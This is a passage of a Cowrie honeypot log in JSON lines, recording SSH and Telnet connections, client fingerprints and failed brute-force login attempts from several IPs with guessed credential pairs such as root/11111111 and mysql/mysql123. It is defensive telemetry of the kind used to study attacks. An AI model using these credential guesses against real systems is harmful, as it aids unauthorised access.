istp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:46.090260Z","src_ip":"193.151.144.93","session":"740bc90cdd44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:46.598658Z","src_ip":"193.151.144.93","session":"740bc90cdd44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:47.769655Z","src_ip":"193.151.144.93","session":"740bc90cdd44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":39980,"dst_ip":"10.17.0.5","dst_port":22,"session":"1921d2a86051","protocol":"ssh","message":"New connection: 193.151.144.93:39980 (10.17.0.5:22) [session: 1921d2a86051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:51.279507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:51.284787Z","src_ip":"193.151.144.93","session":"1921d2a86051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:51.452848Z","src_ip":"193.151.144.93","session":"1921d2a86051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:51.956932Z","src_ip":"193.151.144.93","session":"1921d2a86051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":30719,"dst_ip":"10.17.0.5","dst_port":22,"session":"48c88228b676","protocol":"ssh","message":"New connection: 193.46.255.86:30719 (10.17.0.5:22) [session: 48c88228b676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:53.549566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:53.553712Z","src_ip":"193.46.255.86","session":"48c88228b676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:53.685126Z","src_ip":"193.46.255.86","session":"48c88228b676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"moth3r","password":"fuck.3r","message":"login attempt [moth3r/fuck.3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:54.283620Z","src_ip":"193.46.255.86","session":"48c88228b676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"moth3r","password":"abc123","message":"login attempt [moth3r/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:55.417968Z","src_ip":"193.46.255.86","session":"48c88228b676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:56.507815Z","src_ip":"193.151.144.93","session":"1921d2a86051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"moth3r","password":"abcd123","message":"login attempt [moth3r/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:56.552420Z","src_ip":"193.46.255.86","session":"48c88228b676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":39992,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed578f0e3039","protocol":"ssh","message":"New connection: 193.151.144.93:39992 (10.17.0.5:22) [session: ed578f0e3039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:56.705790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:56.710639Z","src_ip":"193.151.144.93","session":"ed578f0e3039","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:56.882454Z","src_ip":"193.151.144.93","session":"ed578f0e3039","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:57.397558Z","src_ip":"193.151.144.93","session":"ed578f0e3039","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"moth3r","password":"abcd1234","message":"login attempt [moth3r/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:57.685915Z","src_ip":"193.46.255.86","session":"48c88228b676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"moth3r","password":"abc1234","message":"login attempt [moth3r/abc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:58.819679Z","src_ip":"193.46.255.86","session":"48c88228b676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:59.453863Z","src_ip":"193.151.144.93","session":"ed578f0e3039","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":49212,"dst_ip":"10.17.0.5","dst_port":22,"session":"acaef6456bcd","protocol":"ssh","message":"New connection: 80.66.85.226:49212 (10.17.0.5:22) [session: acaef6456bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:59.606512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:59.611478Z","src_ip":"80.66.85.226","session":"acaef6456bcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:59.706113Z","src_ip":"80.66.85.226","session":"acaef6456bcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:59.956984Z","src_ip":"193.46.255.86","session":"48c88228b676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex1984","message":"login attempt [root/alex1984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:57:59.990330Z","src_ip":"80.66.85.226","session":"acaef6456bcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:01.089020Z","src_ip":"80.66.85.226","session":"acaef6456bcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":34244,"dst_ip":"10.17.0.5","dst_port":22,"session":"5935100cd2a0","protocol":"ssh","message":"New connection: 193.151.144.93:34244 (10.17.0.5:22) [session: 5935100cd2a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:02.200438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:02.207384Z","src_ip":"193.151.144.93","session":"5935100cd2a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:02.377321Z","src_ip":"193.151.144.93","session":"5935100cd2a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:04.286656Z","src_ip":"193.151.144.93","session":"5935100cd2a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:05.458530Z","src_ip":"193.151.144.93","session":"5935100cd2a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36956,"dst_ip":"159.203.135.109","dst_port":23,"session":"225b8cf38ac7","protocol":"telnet","message":"New connection: 69.4.83.194:36956 (159.203.135.109:23) [session: 225b8cf38ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:06.185791Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":34246,"dst_ip":"10.17.0.5","dst_port":22,"session":"37b216d7a2a5","protocol":"ssh","message":"New connection: 193.151.144.93:34246 (10.17.0.5:22) [session: 37b216d7a2a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:07.782172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:07.785841Z","src_ip":"193.151.144.93","session":"37b216d7a2a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:08.161625Z","src_ip":"193.151.144.93","session":"37b216d7a2a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:08.670356Z","src_ip":"193.151.144.93","session":"37b216d7a2a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:10.269966Z","src_ip":"193.151.144.93","session":"37b216d7a2a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":39698,"dst_ip":"10.17.0.5","dst_port":22,"session":"573590e2bf35","protocol":"ssh","message":"New connection: 193.151.144.93:39698 (10.17.0.5:22) [session: 573590e2bf35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:13.331977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:13.337146Z","src_ip":"193.151.144.93","session":"573590e2bf35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:13.509132Z","src_ip":"193.151.144.93","session":"573590e2bf35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:14.014088Z","src_ip":"193.151.144.93","session":"573590e2bf35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":58670,"dst_ip":"10.17.0.5","dst_port":22,"session":"204f9406818b","protocol":"ssh","message":"New connection: 103.82.132.16:58670 (10.17.0.5:22) [session: 204f9406818b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:14.165367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:58:14.169647Z","src_ip":"103.82.132.16","session":"204f9406818b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 